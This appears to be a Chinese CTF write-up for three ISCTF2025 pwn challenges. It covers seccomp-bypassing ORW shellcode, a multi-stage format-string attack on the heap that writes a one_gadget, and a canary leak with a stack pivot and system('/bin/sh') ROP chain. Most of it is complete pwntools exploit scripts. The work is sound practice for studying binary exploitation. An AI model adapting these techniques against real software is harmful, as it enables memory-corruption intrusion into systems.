.text:000000000000184F ; __unwind { .text:000000000000184F endbr64 .text:0000000000001853 push rbp .text:0000000000001854 mov rbp, rsp .text:0000000000001857 mov eax, 0 .text:000000000000185C call sub_1429 .text:0000000000001861 mov edx, 10h ; i .text:0000000000001866 mov rax, 114514000h .text:0000000000001870 mov rsi, rax ; a2 .text:0000000000001873 mov edi, 0 ; a1 .text:0000000000001878 call sub_13B3 .text:000000000000187D mov eax, 0 .text:0000000000001882 call sub_150A .text:0000000000001887 mov eax, 0 .text:000000000000188C call sub_1785 .text:0000000000001891 mov eax, 0 .text:0000000000001896 call sub_1637 .text:000000000000189B xor rax, rax .text:000000000000189E leave .text:000000000000189F retn
一开始call execve老是不行,结果发现偷偷开了沙箱,无语了
~/ISCTF/ezstack seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007 0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
p=start() p.recvuntil(b"Welcome to ISCTF2025!\n" ) p.send(p64(0x114514000 )+p64(0xffffffffffffff9b )) p.recvuntil(b"DO YOU LIKE GIFT?\n" ) data_addr=u64(p.recv(6 ).ljust(8 ,b"\x00" )) elf_base=data_addr-0x184f p.recvuntil(b"\n" ) data_addr=u64(p.recv(6 ).ljust(8 ,b"\x00" )) stack_base=data_addr log.success(hex (elf_base)) log.success(hex (stack_base)) payload=b"a" *0x110 +p64(stack_base+0x38 )+p64(elf_base+0x189b )+p64(0x114514040 )+p64(elf_base+0x1866 ) p.sendline(payload) pause() shellcode=asm(""" mov rdi,0x114514040 xor esi,esi xor edx,edx mov eax,2 syscall mov rdx, 0x200 mov edi,eax mov rsi,0x114514400 xor eax,eax syscall mov edi,1 mov rsi,0x114514400 mov eax,edi syscall """ )p.sendline(b"a" *0x40 +b"/flag\x00\x00\x00" +p64(0x114514050 )+shellcode.ljust(0xc0 ,b"\x00" )) pause() payload2=b"a" *0x110 +p64(stack_base+0x48 )+p64(elf_base+0x189b )+p64(0x114514040 )+p64(elf_base+0x189b ) p.sendline(payload2) p.interactive()
heap
看起来是堆题,实际上是考非栈上格式化字符串漏洞
~/ISCTF/heap checksec ./pwn [*] '/home/ubuntu/ISCTF/heap/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { int n4; unsigned __int64 v4; v4 = __readfsqword(0x28u ); init(argc, argv, envp); while ( 1 ) { print_logo(); __isoc99_scanf("%d" , &n4); if ( n4 == 4 ) break ; if ( n4 <= 4 ) { switch ( n4 ) { case 3 : show(); break ; case 1 : add(); break ; case 2 : delete(); break ; } } } exit (0 ); }
操作函数如下
unsigned __int64 add () { unsigned int nbytes; int nbytes_4; unsigned __int64 v3; v3 = __readfsqword(0x28u ); nbytes = 0 ; printf ("> " ); __isoc99_scanf("%d" , &nbytes); for ( nbytes_4 = 0 ; *((_QWORD *)&list + nbytes_4); ++nbytes_4 ) ; *((_QWORD *)&list + nbytes_4) = malloc ((int )nbytes); if ( !*((_QWORD *)&list + nbytes_4) ) exit (0 ); printf ("> " ); read(0 , *((void **)&list + nbytes_4), nbytes); puts ("OK!" ); return v3 - __readfsqword(0x28u ); }
void *delete () { void *result; int num; printf ("> " ); num = read_num(); if ( !*((_QWORD *)&list + num) ) exit (0 ); free (*((void **)&list + num)); result = &list ; *((_QWORD *)&list + num) = 0LL ; return result; }
unsigned __int64 show () { _DWORD v1[2 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); v1[0 ] = 0 ; v1[1 ] = 0 ; printf ("> " ); __isoc99_scanf("%d" , v1); if ( !*((_QWORD *)&list + v1[0 ]) ) exit (0 ); printf (*((const char **)&list + v1[0 ])); puts (&s_); return v2 - __readfsqword(0x28u ); }
很明显,show就是格式化字符串漏洞,由于是写在堆上的,也是非栈上格式化字符串漏洞
而且主函数使用的是exit,不能改主函数返回地址,只能改show函数的返回地址了
“诸葛连弩”需要多次修改,这对于这道题来说实现不了,会出现只修改一次就会出现从show返回时地址错误
所以我们需要另一种方法,就是“四马分肥”
简单来说,“诸葛连弩”是使用一个三连指针攻击四次,“四马分肥”是指使用四个三连指针攻击一次
但是这道题好像没有这么多三联指针,所以只能用“诸葛连弩”创造出多个三联指针了
这个题也是要改rbp达成ogg条件的
def add (idx,size, data=b'' ): p.sendlineafter(b'> ' , b'1' ) p.sendlineafter(b'> ' , str (size)) p.sendafter(b'> ' , data) def delete (idx ): p.sendlineafter(b'> ' , b'2' ) p.sendafter(b'> ' , str (idx)) def show (idx ): p.sendlineafter(b'> ' , b'3' ) p.sendlineafter(b'> ' , str (idx)) p=start() add(0 ,0x100 ,b"%33$pa%8$p" ) show(0 ) p.recvuntil(b"0x" ) libc_base=int (p.recv(12 ),16 )-libc.sym["__libc_start_main" ]-128 log.success(hex (libc_base)) p.recvuntil(b"a0x" ) stack_recv=int (p.recv(12 ),16 ) log.success(hex (stack_recv)) one_gadget_addr=libc_base+0xebc81 one_gadget_1 = one_gadget_addr & 0xffff one_gadget_2 = (one_gadget_addr >> 16 )& 0xffff one_gadget_3 = (one_gadget_addr >> 32 )& 0xffff one_gadget_4 = (one_gadget_addr >> 48 )& 0xffff one_gadget_5=(0x10000 +one_gadget_2-one_gadget_1)& 0xffff one_gadget_6=(0x10000 +one_gadget_3-one_gadget_2)& 0xffff stack_recv_1=(stack_recv+0x10 )&0xffff rbp=(0x10000 +stack_recv_1-one_gadget_3)&0xffff stack_addr_1=(stack_recv-0x18 )& 0xffff stack_addr_2=(stack_recv-0x18 +2 )& 0xffff stack_addr_3=(stack_recv-0x18 +4 )& 0xffff stack_addr_4=(stack_recv-0x18 +6 )& 0xffff stack_addr_new_1=(stack_recv-0x18 )& 0xffff stack_addr_new_2=((stack_recv-0x18 )>>16 )& 0xffff stack_addr_new_3=((stack_recv-0x18 )>>32 )& 0xffff new_addr_1=(stack_recv)& 0xffff new_addr_2=(stack_recv+2 )& 0xffff new_addr_3=(stack_recv+4 )& 0xffff payload_1=b"%" + str (new_addr_1).encode("utf-8" ) + b"c%17$hn" add(1 ,0x100 ,payload_1) show(1 ) payload_1=b"%" + str (stack_addr_new_1).encode("utf-8" ) + b"c%47$hn" add(2 ,0x100 ,payload_1) show(2 ) payload_2=b"%" + str (new_addr_2).encode("utf-8" ) + b"c%17$hn" add(3 ,0x100 ,payload_2) show(3 ) payload_2=b"%" + str (stack_addr_new_2).encode("utf-8" ) + b"c%47$hn" add(4 ,0x100 ,payload_2) show(4 ) payload_3=b"%" + str (new_addr_3).encode("utf-8" ) + b"c%17$hn" add(5 ,0x100 ,payload_3) show(5 ) payload_3=b"%" + str (stack_addr_new_3).encode("utf-8" ) + b"c%47$hn" add(6 ,0x100 ,payload_3) show(6 ) stack_addr_new_1=(stack_recv-0x18 +4 )& 0xffff stack_addr_new_2=((stack_recv-0x18 +4 )>>16 )& 0xffff stack_addr_new_3=((stack_recv-0x18 +4 )>>32 )& 0xffff new_addr_1=(stack_recv+0x110 )& 0xffff new_addr_2=(stack_recv+2 +0x110 )& 0xffff new_addr_3=(stack_recv+4 +0x110 )& 0xffff payload_1=b"%" + str (new_addr_1).encode("utf-8" ) + b"c%17$hn" add(7 ,0x100 ,payload_1) show(7 ) payload_1=b"%" + str (stack_addr_new_1).encode("utf-8" ) + b"c%47$hn" add(8 ,0x100 ,payload_1) show(8 ) payload_2=b"%" + str (new_addr_2).encode("utf-8" ) + b"c%17$hn" add(9 ,0x100 ,payload_2) show(9 ) payload_2=b"%" + str (stack_addr_new_2).encode("utf-8" ) + b"c%47$hn" add(10 ,0x100 ,payload_2) show(10 ) payload_3=b"%" + str (new_addr_3).encode("utf-8" ) + b"c%17$hn" add(11 ,0x100 ,payload_3) show(11 ) payload_3=b"%" + str (stack_addr_new_3).encode("utf-8" ) + b"c%47$hn" add(12 ,0x100 ,payload_3) show(12 ) stack_addr_new_1=(stack_recv-0x20 )& 0xffff stack_addr_new_2=((stack_recv-0x20 )>>16 )& 0xffff stack_addr_new_3=((stack_recv-0x20 )>>32 )& 0xffff new_addr_1=(stack_recv+0x100 )& 0xffff new_addr_2=(stack_recv+2 +0x100 )& 0xffff new_addr_3=(stack_recv+4 +0x100 )& 0xffff payload_1=b"%" + str (new_addr_1).encode("utf-8" ) + b"c%17$hn" add(13 ,0x100 ,payload_1) show(13 ) payload_1=b"%" + str (stack_addr_new_1).encode("utf-8" ) + b"c%47$hn" add(14 ,0x100 ,payload_1) show(14 ) payload_2=b"%" + str (new_addr_2).encode("utf-8" ) + b"c%17$hn" add(15 ,0x100 ,payload_2) show(15 ) payload_2=b"%" + str (stack_addr_new_2).encode("utf-8" ) + b"c%47$hn" add(16 ,0x100 ,payload_2) show(16 ) payload_3=b"%" + str (new_addr_3).encode("utf-8" ) + b"c%17$hn" add(17 ,0x100 ,payload_3) show(17 ) payload_3=b"%" + str (stack_addr_new_3).encode("utf-8" ) + b"c%47$hn" add(18 ,0x100 ,payload_3) show(18 ) payload1=b"%" + str (stack_addr_2).encode("utf-8" ) + b"c%20$hn" payload2=b"%" + str (one_gadget_1).encode("utf-8" ) + b"c%12$hn" payload2+=b"%" + str (one_gadget_5).encode("utf-8" ) + b"c%47$hn" payload2+=b"%" + str (one_gadget_6).encode("utf-8" ) + b"c%46$hn" payload2+=b"%" + str (rbp).encode("utf-8" ) + b"c%44$hn" add(19 ,0x100 ,payload1) add(20 ,0x100 ,payload2) show(19 ) show(20 ) p.interactive()
ez_canary
保护如下
~/ISCTF/ez_canary checksec ./pwn [*] '/home/ubuntu/ISCTF/ez_canary/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
函数如下
int __fastcall main (int argc, const char **argv, const char **envp) { pthread_t newthread[2 ]; newthread[1 ] = __readfsqword(0x28u ); init(argc, argv, envp); puts ("Welcome to Kris's program!" ); pthread_create(newthread, 0LL , vuln, 0LL ); pthread_join(newthread[0 ], 0LL ); return 0 ; }
void *__fastcall vuln (void *a1) { _QWORD buf[6 ]; __int16 v3; _QWORD buf_1[34 ]; buf_1[33 ] = __readfsqword(0x28u ); memset (buf, 0 , sizeof (buf)); v3 = 0 ; memset (buf_1, 0 , 256 ); puts ("Please enter your name >>" ); read(0 , buf, 0x1000u LL); printf ("Your name: %s" , (const char *)buf); puts ("Please enter your content >>" ); read(0 , buf_1, 0x1000u LL); printf ("Your content: %s" , (const char *)buf_1); return 0LL ; }
一样是先覆盖canary低字节泄露canary
然后栈迁移到bss段上,返回vuln函数,让buf的地址刚好是stderr,再覆盖低一字节,泄露出libc地址
.bss:0000000000404080 public stderr@GLIBC_2_2_5 .bss:0000000000404080 ; FILE *stderr .bss:0000000000404080 stderr@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400500↑o .bss:0000000000404080 ; init+30↑r .bss:0000000000404080 ; Alternative name is 'stderr' .bss:0000000000404080 ; Copy of shared data
得到libc地址后,准备再次栈迁移,抬高栈地址给system函数
设置好偏移和rop链就可以了
p=start() bss_addr=0x404080 p.recvuntil(b"Please enter your name >>\n" ) p.send(b'a' *0x149 ) p.recvuntil(b"a" *0x149 ) canary=u64(b"\x00" +p.recv(7 )) log.success(hex (canary)) payload1=b"a" *0x108 +p64(canary)+p64(bss_addr+0x150 )+p64(0x4013E3 ) p.recvuntil(b"Please enter your content >>\n" ) p.send(payload1) p.recvuntil(b"Please enter your name >>\n" ) p.send(b'\xa0' ) p.recvuntil(b"\xa0" ) libc_base=u64(b"\xa0" +p.recv(5 ).ljust(7 ,b"\x00" ))-libc.sym["_IO_2_1_stderr_" ] log.success(hex (libc_base)) p.recvuntil(b"Please enter your content >>\n" ) system_addr = libc_base + libc.sym["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) payload2=b"a" *0x108 +p64(canary)+p64(bss_addr+0x840 )+p64(0x401492 ) payload2=payload2.ljust(0x6f0 ,b"\x00" ) payload2+=p64(bss_addr+0x750 )+p64(libc_base+0x2a3e5 )+p64(binsh_addr)+p64(0x401493 )+p64(system_addr) payload2=payload2.ljust(0x7f8 ,b"\x00" ) payload2+=p64(canary)+p64(bss_addr+0x800 -0x110 +0x40 )+p64(0x401492 ) p.send(payload2) p.interactive()